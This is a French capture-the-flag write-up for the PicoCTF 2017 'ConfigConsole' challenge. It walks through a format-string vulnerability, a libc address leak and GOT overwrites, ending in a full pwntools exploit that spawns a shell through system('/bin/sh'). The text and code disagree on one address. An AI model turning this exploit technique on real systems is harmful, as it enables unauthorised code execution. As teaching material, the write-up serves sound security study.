ConfigConsole

Le PicoCTF est une compétition destinée aux étudiants qui se déroulait du 31 mars au 14 avril. Le CTF est découpé en 5 niveaux de difficulté comportant plusieurs challenges de type pwn,reverse,web,crypto et misc. Le challenge présenté dans ce write-up est un pwn du niveau 3.

Sommaire

  • État des lieux
  • La vulnérabilité
  • Exploitation

État des lieux

L’énoncé du challenge :

In order to configure the login messsage for all the users on the system, you’ve been given access to a configuration console. See if you can get a shell on shell2017.picoctf.com:47232.

Le binaire et son code source étaient disponible.

Les indices étaient les suivants,

You can either see where libc is or modify the execution. Is there a way to get the vulnerability to run twice so that you can do both? There’s a place in libc that will give you a shell as soon as you jump to it. Try looking for execve.

Avec la commande file on remarque que la source a été compilé en 64 bits :

$ file console 
console: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=969219fc2500a21c47af71c6d717ea422d64dcfa, not stripped

Lorsqu’on exécute le binaire avec un fichier en paramètre, on se retrouve sur un menu avec 3 options,

$ ./console log.txt
Config action: help
You can:
    login <login-message>    set the login message
    exit <exit-message>      set the exit message
    prompt <prompt>          set the command prompt
Config action:

En regardant la source on constate que chacune des options insère une ligne dans le fichier précisé en paramètre et appelle exit(0) ce qui provoque la fin du programme.

La vulnérabilité

En regardant la source on trouve la vulnérabilité dans l’option exit du programme,

void set_exit_message(char *message) {
    if (!message) {
        printf("No message chosen\n");
        exit(1);
    }
    printf("Exit message set!\n");
    printf(message);			// FormatString

    append_command('e', message);
    exit(0);
}

C’est une vulnérabilité classique de type format string, si on entre une chaîne de format en tant que “exit-message”, le programme va nous afficher ce qui se trouve sur la pile.

Config action: e %lx.%lx
Exit message set!
7f2a1dbdf683.7f2a1dbe0760

Lorsqu’on recommence on s’aperçoit que les données en sortie sont différentes. Ceci indique la présence de la protection ASLR (Adresse Space Layout Randomization) qui place de façon aléatoire les zones de données dans la mémoire virtuelle, ainsi les adresses de ces données sont différentes à chaque exécution.

Config action: e %lx.%lx
Exit message set!
7f011fe81683.7f011fe82760

Exploitation

Lorsque l’ASLR est activée l’exploitation se passe en 2 temps, en premier on leak un pointer ce qui nous permet de calculer les adresses que l’on veut utiliser (par exemple celle de la fonction system ;) ). Ensuite on prend le contrôle du flux d’exécution du programme grâce à la vulnérabilité. Le problème ici c’est qu’on ne peut déclencher la vulnérabilité qu’une seule fois car le programme se termine après. L’indice nous dit d’exécuter la vulnérabilité plusieurs fois.

Regardons ce que fait la fonction append_command,

void append_command(char type, char *data) {
    fprintf(log_file, "%c %s\n", type, data);
}

Celle-ci effectue un appel à fprintf. Petit rappel pour faire simple lorsqu’un programme est lié dynamiquement à une bibliothèque (à la libc.so par exemple), pour appeler une fonction il va appeler une procédure dans la PLT (Procedure Linkage Table) qui va résoudre l’adresse de la fonction ou bien si l’adresse est déjà résolue sauter sur un pointeur situé dans la GOT (Global Offset Table).

Si l’on remplace l’adresse de fprintf dans la GOT par celle la fonction main on exécutera a nouveau le programme. Heureusement que tout n’est pas aléatoire avec l’ASLR, les données statiques et le code sont toujours situé à la même adresse virtuelle.

gdb-peda$ disas append_command 
Dump of assembler code for function append_command:
   0x0000000000400846 <+0>:	push   rbp
   0x0000000000400847 <+1>:	mov    rbp,rsp
   0x000000000040084a <+4>:	sub    rsp,0x10
   0x000000000040084e <+8>:	mov    eax,edi
   0x0000000000400850 <+10>:	mov    QWORD PTR [rbp-0x10],rsi
   0x0000000000400854 <+14>:	mov    BYTE PTR [rbp-0x4],al
   0x0000000000400857 <+17>:	movsx  edx,BYTE PTR [rbp-0x4]
   0x000000000040085b <+21>:	mov    rax,QWORD PTR [rip+0x200a3e]        # 0x6012a0 <log_file>
   0x0000000000400862 <+28>:	mov    rcx,QWORD PTR [rbp-0x10]
   0x0000000000400866 <+32>:	mov    esi,0x400be8
   0x000000000040086b <+37>:	mov    rdi,rax
   0x000000000040086e <+40>:	mov    eax,0x0
   0x0000000000400873 <+45>:	call   0x4006f0 <fprintf@plt>
   0x0000000000400878 <+50>:	leave  
   0x0000000000400879 <+51>:	ret    
End of assembler dump.
gdb-peda$ disas 0x4006f0
Dump of assembler code for function fprintf@plt:
   0x00000000004006f0 <+0>:	jmp    QWORD PTR [rip+0x200b42]        # 0x601238 <fprintf@got.plt>
   0x00000000004006f6 <+6>:	push   0x6
   0x00000000004006fb <+11>:	jmp    0x400680
End of assembler dump.
gdb-peda$ x/xw 0x601238
0x601238 <fprintf@got.plt>:	0x004006f6

Il faut modifier le pointeur situé à l’adresse 0x601238 par 0x400ad3 qui est l’adresse du début de la fonction loop. La donnée présente à l’intérieur commence déjà par 0x040, il suffira juste de modifier la partie basse par 0x0ad3.

Au bout de 19 QWORD on retombe sur ce qu’on à insérer, on contrôle donc l’adresse où l’on veut écrire.

$ (python -c 'print "e %19$lx"+"A"*32+"\x08\x07\x06\x05\x04\x03\x02\x01"') | ./console log.txt
Config action: Exit message set!
102030405060708AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAt

Scriptons le tout pour écrire 0x9bd à l’adresse voulue :

from pwn import *
BASE=0x400000
_fprintf_got_plt = 0x601238
loop_offset = 0x4009bd - BASE
p = process(["./console","log.txt"])
print(p.recv())

pack_addr = p64(_fprintf_got_plt)

number_to_write = '%'+str(loop_offset)+"x"

payload = "e "+number_to_write+"%19$hn"+"A"*(32-len(number_to_write))+pack_addr
print("[+] payload %s" % payload)
p.send(payload+"\n")
print(p.recvline())

Maintenant on va pouvoir leak un pointeur sur la libc, et il se trouve que le registre RSI contient un pointeur qui correspond à IO_2_1_stdout+131. En temps normal RSI contient (en 64 bits) le deuxième arguments de la fonction donc pour récupérer sa valeur, il suffit d’exécuter la chaîne de format suivante : e %1$lx. Démonstration ;) :

gdb-peda$ disas append_command 
Dump of assembler code for function append_command:
   0x0000000000400846 <+0>:	push   rbp
   0x0000000000400847 <+1>:	mov    rbp,rsp
   0x000000000040084a <+4>:	sub    rsp,0x10
   0x000000000040084e <+8>:	mov    eax,edi
   0x0000000000400850 <+10>:	mov    QWORD PTR [rbp-0x10],rsi
   0x0000000000400854 <+14>:	mov    BYTE PTR [rbp-0x4],al
   0x0000000000400857 <+17>:	movsx  edx,BYTE PTR [rbp-0x4]
   0x000000000040085b <+21>:	mov    rax,QWORD PTR [rip+0x200a3e]        # 0x6012a0 <log_file>
   0x0000000000400862 <+28>:	mov    rcx,QWORD PTR [rbp-0x10]
   0x0000000000400866 <+32>:	mov    esi,0x400be8
   0x000000000040086b <+37>:	mov    rdi,rax
   0x000000000040086e <+40>:	mov    eax,0x0
   0x0000000000400873 <+45>:	call   0x4006f0 <fprintf@plt>
   0x0000000000400878 <+50>:	leave  
   0x0000000000400879 <+51>:	ret    
End of assembler dump.
gdb-peda$ disas set_exit_message 
Dump of assembler code for function set_exit_message:
   0x00000000004008d2 <+0>:	push   rbp
   0x00000000004008d3 <+1>:	mov    rbp,rsp
   0x00000000004008d6 <+4>:	sub    rsp,0x10
   0x00000000004008da <+8>:	mov    QWORD PTR [rbp-0x8],rdi
   0x00000000004008de <+12>:	cmp    QWORD PTR [rbp-0x8],0x0
   0x00000000004008e3 <+17>:	jne    0x4008f9 <set_exit_message+39>
   0x00000000004008e5 <+19>:	mov    edi,0x400bef
   0x00000000004008ea <+24>:	call   0x400690 <puts@plt>
   0x00000000004008ef <+29>:	mov    edi,0x1
   0x00000000004008f4 <+34>:	call   0x400730 <exit@plt>
   0x00000000004008f9 <+39>:	mov    edi,0x400c18
   0x00000000004008fe <+44>:	call   0x400690 <puts@plt>
   0x0000000000400903 <+49>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400907 <+53>:	mov    rdi,rax
   0x000000000040090a <+56>:	mov    eax,0x0
   0x000000000040090f <+61>:	call   0x4006c0 <printf@plt>
   0x0000000000400914 <+66>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400918 <+70>:	mov    rsi,rax
   0x000000000040091b <+73>:	mov    edi,0x65
   0x0000000000400920 <+78>:	call   0x400846 <append_command>
   0x0000000000400925 <+83>:	mov    edi,0x0
   0x000000000040092a <+88>:	call   0x400730 <exit@plt>
End of assembler dump.
gdb-peda$ b* 0x000000000040090f
Breakpoint 1 at 0x40090f
gdb-peda$ run log.txt
Starting program: /home/thomas/Documents/Hacking/PicoCTF/ConfigConsole/console log.txt
Config action: e %1$lx
Exit message set!

 [----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7b16600 (<__write_nocancel+7>:	cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd5760 --> 0x0 
RSI: 0x7ffff7dd4683 --> 0xdd5760000000000a
gdb-peda$ x/xw 0x7ffff7dd4683
0x7ffff7dd4683 <_IO_2_1_stdout_+131>:	0x0000000a
gdb-peda$ c
Continuing.
7ffff7dd4683[Inferior 1 (process 7418) exited normally]

On trouve 0x7ffff7dd4683, on soustrait 131 ce qui nous donne 0x7ffff7dd4600. Ensuite on retrouve la libc utilisée grâce à l’outil libc-database.

$ ./find _IO_2_1_stdout_ 7ffff7dd4600
/lib/x86_64-linux-gnu/libc-2.24.so (id local-54e917695ab8fa3d85ccdd6778cf33a9e5f4a650)

On récupère l’offset par rapport au début de la libc, et l’offset de system.

$ grep '_IO_2_1_stdout_' db/local-54e917695ab8fa3d85ccdd6778cf33a9e5f4a650.symbols 
_IO_2_1_stdout_ 0000000000399600
$ grep 'system' db/local-54e917695ab8fa3d85ccdd6778cf33a9e5f4a650.symbols 
svcerr_systemerr 00000000001152b0
__libc_system 000000000003f460
system 000000000003f460

Ainsi 0x7ffff7dd4600 - 0x399600 nous donne l’adresse de base de la libc pour l’instance courante du programme. On ajoute a cette adresse 0x3f460 et on obtient l’adresse de system.

Keep calm and script,

__IO_2_1_stdout_offset = 131
OFFSET2LIBC=0x399600
system_offset=0x3f460
# _IO_2_1_stdout_
payload = "e %1$lx"
print("[+] payload %s" % payload)
p.send(payload+"\n")
print(p.recvline()) # Exit Message set
libc_leak = int(p.recv().split('C')[0],16) - __IO_2_1_stdout_offset
print("[+] real leak %x" % (libc_leak))
libc_leak-=OFFSET2LIBC
print("[+] libc leak %x" % (libc_leak))

# write adress of system in exit
addr_system = system_offset + libc_leak
print("[+] address of system %x" % (addr_system))

Comme l’indique le commentaire à la fin de ce code je vais écrire l’adresse system à la place de celle de la fonction exit dans la GOT. Pour cela il faut que j’exécute plusieurs fois la vulnérabilité car l’adresse est en 64 bits et je ne peux écrire que 2 octets à la fois avec %hn. Donc je ne peux pas écraser à nouveau le pointeur de fprintf. À la fin je vais remplacer le pointeur dans GOT correspondant à fprintf par la procédure exit@plt. Comme leurs adresses commencent toutes les deux par 0x40 je n’aurais que 2 octets à modifier.

Ainsi le programme réaliseras l’appel suivant :

| fprintf@plt | —–> | exit@plt | —-> | system |

Voici le code qui écrit l’adresse de system dans la GOT à la place de exit.

for i in range(0,8):
	exit = _exit_got_plt + i
	print("[+] Write at %x\n" % exit)
	addr_part = (addr_system >> (i * 8)) & 0xFF
	if addr_part != 0:
		print("[+] Write %x" % addr_part)
		number_to_write = '%'+str(addr_part)+"x"
		payload = "e "+number_to_write+"%19$hn"+"A"*(32-len(number_to_write))+p64(exit)
		print(payload)
		p.send(payload+"\n")
		p.recv()

Un problème se pose maintenant comment passer la chaîne de caractères “/bin/sh” en arguments ( “/bin/sh” se trouve dans la libc) . Si l’on reprend l’appel de fprintf dans la source. Le programme passe 4 arguments, seul le premier nous intéresse.

FILE *log_file;

void append_command(char type, char *data) {
    fprintf(log_file, "%c %s\n", type, data);
}

Comme on a détourné fprintf par system, les arguments seront transférés à system qui attend un pointeur vers une chaîne de caractères. Le premier argument est un pointeur nommé log_file. Si l’on change sa valeur par l’adresse de la chaîne de caractères “/bin/sh”, on réaliseras l’appel system("/bin/sh") ce qui nous donneras un shell. Peut-on écraser log_file ? Oui c’est une variable statique, son adresse reste constante.

$ nm console 
[...]
00000000006012a0 B log_file

On script la modification de log_file,

addr_bin_sh = str_bin_sh + libc_leak
# write adresse of str_bin_sh in log_file (first arg of fprintf)
print("[+] address of str_bin_sh %x" % (addr_bin_sh))

for i in range(0,8):
	_log_file = log_file + i
	print("[+] Write at %x\n" % log_file)
	addr_part = (addr_bin_sh >> (i * 8)) & 0xFF
	if addr_part != 0:
		print("[+] Write %x" % addr_part)
		number_to_write = '%'+str(addr_part)+"x"
		payload = "e "+number_to_write+"%19$hn"+"A"*(32-len(number_to_write))+p64(_log_file)
		print(payload)
		p.send(payload+"\n")
		p.recv()

Ensuite on redirige fprintf vers exit qui redirige vers system. Voici donc le code complet de l’exploit :

#!/usr/bin/env python
from pwn import *

# Padding d'alignement (6 octets)
PADDING=6

# Offset des fonctions de la libc
execve_offset=0xb84f0
system_offset=0x3f460
str_bin_sh=0x161879

# Offset du leak de la libc
# __IO_2_1_stdout_
__IO_2_1_stdout_offset = 131

OFFSET2LIBC=0x399600

# Base du programme
BASE=0x400000

# Adresses contenues dans la GOT
loop_offset=0x4009bd - BASE
printf_offset=0x4006c0 - BASE
exit_offset=0x400730 - BASE

# Adresses de la GOT
_fprintf_got_plt = 0x601238
strtok_got_plt = 0x601250
printf_got_plt = 0x601220
_exit_got_plt = 0x601258
# Adresse de la variable log_file
log_file = 0x6012a0

p = process(["./console","log.txt"])
print(p.recv())

pack_addr = p64(_fprintf_got_plt)

number_to_write = '%'+str(loop_offset)+"x"

payload = "e "+number_to_write+"%19$hn"+"A"*(32-len(number_to_write))+pack_addr
print("[+] payload %s" % payload)
p.send(payload+"\n")
print(p.recvline())

# _IO_2_1_stdout_
payload = "e %1$lx"
print("[+] payload %s" % payload)
p.send(payload+"\n")
print(p.recvline()) # Exit Message set
libc_leak = int(p.recv().split('C')[0],16) - __IO_2_1_stdout_offset
print("[+] real leak %x" % (libc_leak))
libc_leak-=OFFSET2LIBC
print("[+] libc leak %x" % (libc_leak))

# write adress of system in exit
addr_system = system_offset + libc_leak
print("[+] address of system %x" % (addr_system))
for i in range(0,8):
	exit = _exit_got_plt + i
	print("[+] Write at %x\n" % exit)
	addr_part = (addr_system >> (i * 8)) & 0xFF
	if addr_part != 0:
		print("[+] Write %x" % addr_part)
		number_to_write = '%'+str(addr_part)+"x"
		payload = "e "+number_to_write+"%19$hn"+"A"*(32-len(number_to_write))+p64(exit)
		print(payload)
		p.send(payload+"\n")
		p.recv()

addr_bin_sh = str_bin_sh + libc_leak
# write adresse of str_bin_sh in log_file (first arg of fprintf)
print("[+] address of str_bin_sh %x" % (addr_bin_sh))

for i in range(0,8):
	_log_file = log_file + i
	print("[+] Write at %x\n" % log_file)
	addr_part = (addr_bin_sh >> (i * 8)) & 0xFF
	if addr_part != 0:
		print("[+] Write %x" % addr_part)
		number_to_write = '%'+str(addr_part)+"x"
		payload = "e "+number_to_write+"%19$hn"+"A"*(32-len(number_to_write))+p64(_log_file)
		print(payload)
		p.send(payload+"\n")
		p.recv()
# print("[+] process id for debugging %x" % p.pid)

# raw_input()
# write adresse of exit in fprintf
pack_addr = p64(_fprintf_got_plt)

number_to_write = '%'+str(exit_offset)+"x"

payload = "e "+number_to_write+"%19$hn"+"A"*(32-len(number_to_write))+pack_addr
print(payload)
p.send(payload+"\n")
print(p.recv())

p.interactive()
p.close()

On exécute et paf on a un shell :P, en local . Pour obtenir le flag on réalise la même chose via une connexion tcp sur shell2017.picoctf.com 47232 (voir remote dans pwntools). On obtiens un shell et on affiche le mot de passe qui se trouve dans le fichier flag.txt.

Référence